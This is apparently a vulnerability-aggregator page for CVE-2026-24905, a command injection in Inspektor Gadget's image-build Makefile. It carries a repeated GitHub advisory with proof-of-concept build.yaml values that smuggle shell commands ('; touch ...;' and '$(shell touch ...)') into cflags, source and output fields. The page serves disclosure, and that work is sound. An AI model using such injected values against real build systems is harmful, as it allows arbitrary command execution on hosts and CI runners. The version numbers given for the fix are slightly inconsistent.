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CVE-2026-24905

Inspektor Gadget has a Command Injection vulnerability in Makefile.build

6.6 MediumFix available

Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. The ig binary provides a subcommand for image building, used to generate custom gadget OCI images. A part of this functionality is implemented in the file inspektor-gadget/cmd/common/image/build.go. The Makefile.build file is the Makefile template employed during the building process. This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile. Prior to version 0.48.1, this implementation is vulnerable to command injection: an attacker able to control values in the buildOptions structure would be able to execute arbitrary commands during the building process. An attacker able to exploit this vulnerability would be able to execute arbitrary command on the Linux host where the ig command is launched, if images are built with the --local flag or on the build container invoked by ig, if the --local flag is not provided. The buildOptions structure is extracted from the YAML gadget manifest passed to the ig image build command. Therefore, the attacker would need a way to control either the full build.yml file passed to the ig image build command, or one of its options. Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness. Version 0.51.1 fixes the issue.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

1.40%Up 1.3 points since Jan 30, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.6

Inspektor Gadget has a Command Injection vulnerability in Makefile.build

Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. The ig binary provides a subcommand for image building, used to generate custom gadget OCI images. A part of this functionality is implemented in the file inspektor-gadget/cmd/common/image/build.go. The Makefile.build file is the Makefile template employed during the building process. This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile. Prior to version 0.48.1, this implementation is vulnerable to command injection: an attacker able to control values in the buildOptions structure would be able to execute arbitrary commands during the building process. An attacker able to exploit this vulnerability would be able to execute arbitrary command on the Linux host where the ig command is launched, if images are built with the --local flag or on the build container invoked by ig, if the --local flag is not provided. The buildOptions structure is extracted from the YAML gadget manifest passed to the ig image build command. Therefore, the attacker would need a way to control either the full build.yml file passed to the ig image build command, or one of its options. Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness. Version 0.51.1 fixes the issue.

Record
CVE-2026-24905
CVSS 4.0
6.6 MediumCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness
CWE-77, CWE-78
Updated
2026-11-02
EUVDEUVD-2026-4954 6.6

Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. The ig binary provides a subcommand for image building, used to generate custom gadget OCI images. A part of this functionality is implemented in the file inspektor-gadget/cmd/common/image/build.go. The Makefile.build file is the Makefile template employed during the building process. This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile. Prior to version 0.48.1, this implementation is vulnerable to command injection: an attacker able to control values in the buildOptions structure would be able to execute arbitrary commands during the building process. An attacker able to exploit this vulnerability would be able to execute arbitrary command on the Linux host where the ig command is launched, if images are built with the --local flag or on the build container invoked by ig, if the --local flag is not provided. The buildOptions structure is extracted from the YAML gadget manifest passed to the ig image build command. Therefore, the attacker would need a way to control either the full build.yml file passed to the ig image build command, or one of its options. Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness. Version 0.51.1 fixes the issue.

Record
EUVD-2026-4954
CVSS 4.0
6.6 MediumCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Updated
2026-11-02
GitHub AdvisoriesGHSA-79qw-g77v-2vfh 6.6

Inspektor Gadget: Command Injection via malicious buildOptions manipulation

Impacted Resources

inspektor-gadget/cmd/common/image/build.go inspektor-gadget/cmd/common/image/helpers/Makefile.build

Description

The ig binary provides a subcommand for image building, used to generate custom gadget OCI images.

A part of this functionality is implemented in the file inspektor-gadget/cmd/common/image/build.go.

The following is the code responsible to construct the build command:

func buildCmd(options buildOptions) []string {
	cmd := []string{
		"make", "-f", filepath.Join(options.outputDir, "Makefile.build"),
		"-j", fmt.Sprintf("%d", runtime.NumCPU()),
		"OUTPUTDIR=" + options.outputDir,
		"CFLAGS=" + options.cFlags,
		"FORCE_COLORS=" + options.forceColorsFlag,
	}

	if options.ebpfSourcePath != "" {
		cmd = append(cmd, "EBPFSOURCE="+options.ebpfSourcePath, "ebpf")
	}
	if options.wasmSourcePath != "" {
		cmd = append(cmd, "WASM="+options.wasmSourcePath, "wasm")
	}
	if options.btfgen {
		cmd = append(cmd, "BTFHUB_ARCHIVE="+options.btfHubArchivePath, "btfgen")
	}

	return cmd
}

The Makefile.build file is the Makefile template employed during the building process.

This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.

This implementation is vulnerable to command injection: an attacker able to control values in the buildOptions structure would be able to execute arbitrary commands during the building process.

Impact

An attacker able to exploit this vulnerability would be able to execute arbitray command:

  • on the Linux host where the ig command is launched, if images are built with the --local flag
  • on the build container invoked by ig, if the --local flag is not provided

Attack Complexity

The buildOptions structure is extracted from the YAML gadget manifest passed to the ig image build command. Therefore, the attacker would need a way to control either the full build.yml file passed to the ig image build command, or one of its options.

Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.

PoC

PoC 1 (Vector: cflags)

  1. Create the file build.yaml with the following content:
ebpfsource: "program.bpf.c"  
metadata: "gadget.yaml"  
cflags: " ; touch poc1.txt ; "
  1. Create the file gadget.yaml with the following content:
name: test  
description: test gadget
  1. Create the file program.bpf.c with the following content:
#include <gadget/gadget.h>  
char LICENSE[] SEC("license") = "GPL";
  1. In the same directory where the files are run the command:
ig image build . -t test:latest
  1. Notice that the file poc1.txt gets created inside the directory.

PoC2 (Vector: ebpfsource, wasm)

  1. Create the file build.yaml with the following content:
ebpfsource: "$(shell touch poc2-1.txt)"
wasm: "$(shell touch poc2-2.txt)"
  1. Create the file $(shell touch poc2-1.txt):
touch '$(shell touch poc2-1.txt)'
  1. In the same directory where the files are run the command:
ig image build .
  1. Notice that the files poc2-1.txt and poc2-2.txt get created inside the directory.

PoC3 (Vector: -o, --output)

  1. Create the file build.yaml with the following content:
wasm: dummy.go
  1. Create the file gadget.yaml with the following content:
name: test
  1. Create the directory $(shell touch poc3.txt):
touch '$(shell touch poc3.txt)'
  1. Retrieve the full path of the created directory:
readlink -f '$(shell touch poc3.txt)'
  1. In the same directory where the files are run the command replacing the <PATH> placeholder with the value retrieved at step 4:
ig image build . --local -o '<PATH>'
  1. Notice that the file poc3.txt gets created inside the directory.

PoC4 (Vector: --btfhub-archive)

1.…

Record
GHSA-79qw-g77v-2vfh
CVSS 4.0
6.6 MediumCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness
CWE-77, CWE-78
Updated
2026-11-02
NVD 6.6

Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. The ig binary provides a subcommand for image building, used to generate custom gadget OCI images. A part of this functionality is implemented in the file inspektor-gadget/cmd/common/image/build.go. The Makefile.build file is the Makefile template employed during the building process. This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile. Prior to version 0.48.1, this implementation is vulnerable to command injection: an attacker able to control values in the buildOptions structure would be able to execute arbitrary commands during the building process. An attacker able to exploit this vulnerability would be able to execute arbitrary command on the Linux host where the ig command is launched, if images are built with the --local flag or on the build container invoked by ig, if the --local flag is not provided. The buildOptions structure is extracted from the YAML gadget manifest passed to the ig image build command. Therefore, the attacker would need a way to control either the full build.yml file passed to the ig image build command, or one of its options. Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness. Version 0.51.1 fixes the issue.

Record
CVE-2026-24905
CVSS 4.0
6.6 MediumCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77, CWE-78
Updated
2026-11-02
OSV 6.6

Inspektor Gadget has a Command Injection vulnerability in Makefile.build

Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. The ig binary provides a subcommand for image building, used to generate custom gadget OCI images. A part of this functionality is implemented in the file inspektor-gadget/cmd/common/image/build.go. The Makefile.build file is the Makefile template employed during the building process. This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile. Prior to version 0.48.1, this implementation is vulnerable to command injection: an attacker able to control values in the buildOptions structure would be able to execute arbitrary commands during the building process. An attacker able to exploit this vulnerability would be able to execute arbitrary command on the Linux host where the ig command is launched, if images are built with the --local flag or on the build container invoked by ig, if the --local flag is not provided. The buildOptions structure is extracted from the YAML gadget manifest passed to the ig image build command. Therefore, the attacker would need a way to control either the full build.yml file passed to the ig image build command, or one of its options. Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness. Version 0.51.1 fixes the issue.

Record
CVE-2026-24905
CVSS 4.0
6.6 MediumCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness
CWE-77, CWE-78
Updated
2026-11-02
OSVGHSA-79qw-g77v-2vfh 6.6

Inspektor Gadget: Command Injection via malicious buildOptions manipulation

Impacted Resources

inspektor-gadget/cmd/common/image/build.go inspektor-gadget/cmd/common/image/helpers/Makefile.build

Description

The ig binary provides a subcommand for image building, used to generate custom gadget OCI images.

A part of this functionality is implemented in the file inspektor-gadget/cmd/common/image/build.go.

The following is the code responsible to construct the build command:

func buildCmd(options buildOptions) []string {
	cmd := []string{
		"make", "-f", filepath.Join(options.outputDir, "Makefile.build"),
		"-j", fmt.Sprintf("%d", runtime.NumCPU()),
		"OUTPUTDIR=" + options.outputDir,
		"CFLAGS=" + options.cFlags,
		"FORCE_COLORS=" + options.forceColorsFlag,
	}

	if options.ebpfSourcePath != "" {
		cmd = append(cmd, "EBPFSOURCE="+options.ebpfSourcePath, "ebpf")
	}
	if options.wasmSourcePath != "" {
		cmd = append(cmd, "WASM="+options.wasmSourcePath, "wasm")
	}
	if options.btfgen {
		cmd = append(cmd, "BTFHUB_ARCHIVE="+options.btfHubArchivePath, "btfgen")
	}

	return cmd
}

The Makefile.build file is the Makefile template employed during the building process.

This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.

This implementation is vulnerable to command injection: an attacker able to control values in the buildOptions structure would be able to execute arbitrary commands during the building process.

Impact

An attacker able to exploit this vulnerability would be able to execute arbitray command:

  • on the Linux host where the ig command is launched, if images are built with the --local flag
  • on the build container invoked by ig, if the --local flag is not provided

Attack Complexity

The buildOptions structure is extracted from the YAML gadget manifest passed to the ig image build command. Therefore, the attacker would need a way to control either the full build.yml file passed to the ig image build command, or one of its options.

Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.

PoC

PoC 1 (Vector: cflags)

  1. Create the file build.yaml with the following content:
ebpfsource: "program.bpf.c"  
metadata: "gadget.yaml"  
cflags: " ; touch poc1.txt ; "
  1. Create the file gadget.yaml with the following content:
name: test  
description: test gadget
  1. Create the file program.bpf.c with the following content:
#include <gadget/gadget.h>  
char LICENSE[] SEC("license") = "GPL";
  1. In the same directory where the files are run the command:
ig image build . -t test:latest
  1. Notice that the file poc1.txt gets created inside the directory.

PoC2 (Vector: ebpfsource, wasm)

  1. Create the file build.yaml with the following content:
ebpfsource: "$(shell touch poc2-1.txt)"
wasm: "$(shell touch poc2-2.txt)"
  1. Create the file $(shell touch poc2-1.txt):
touch '$(shell touch poc2-1.txt)'
  1. In the same directory where the files are run the command:
ig image build .
  1. Notice that the files poc2-1.txt and poc2-2.txt get created inside the directory.

PoC3 (Vector: -o, --output)

  1. Create the file build.yaml with the following content:
wasm: dummy.go
  1. Create the file gadget.yaml with the following content:
name: test
  1. Create the directory $(shell touch poc3.txt):
touch '$(shell touch poc3.txt)'
  1. Retrieve the full path of the created directory:
readlink -f '$(shell touch poc3.txt)'
  1. In the same directory where the files are run the command replacing the <PATH> placeholder with the value retrieved at step 4:
ig image build . --local -o '<PATH>'
  1. Notice that the file poc3.txt gets created inside the directory.

PoC4 (Vector: --btfhub-archive)

1.…

Record
GHSA-79qw-g77v-2vfh
CVSS 4.0
6.6 MediumCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness
CWE-77, CWE-78
Updated
2026-11-02
OSVGO-2026-5211 No score

Inspektor Gadget: Command Injection via malicious buildOptions manipulation in github.com/inspektor-gadget/inspektor-gadget

Inspektor Gadget: Command Injection via malicious buildOptions manipulation in github.com/inspektor-gadget/inspektor-gadget

Record
GO-2026-5211
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/inspektor-gadget/inspektor-gadget
Go
 before 0.51.1
0.51.1
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-24905 is a medium vulnerability (CVSS 6.6) in Inspektor-gadget, published January 29, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.40%, the 72nd percentile. Fixed in github.com/inspektor-gadget/inspektor-gadget 0.51.1.

References

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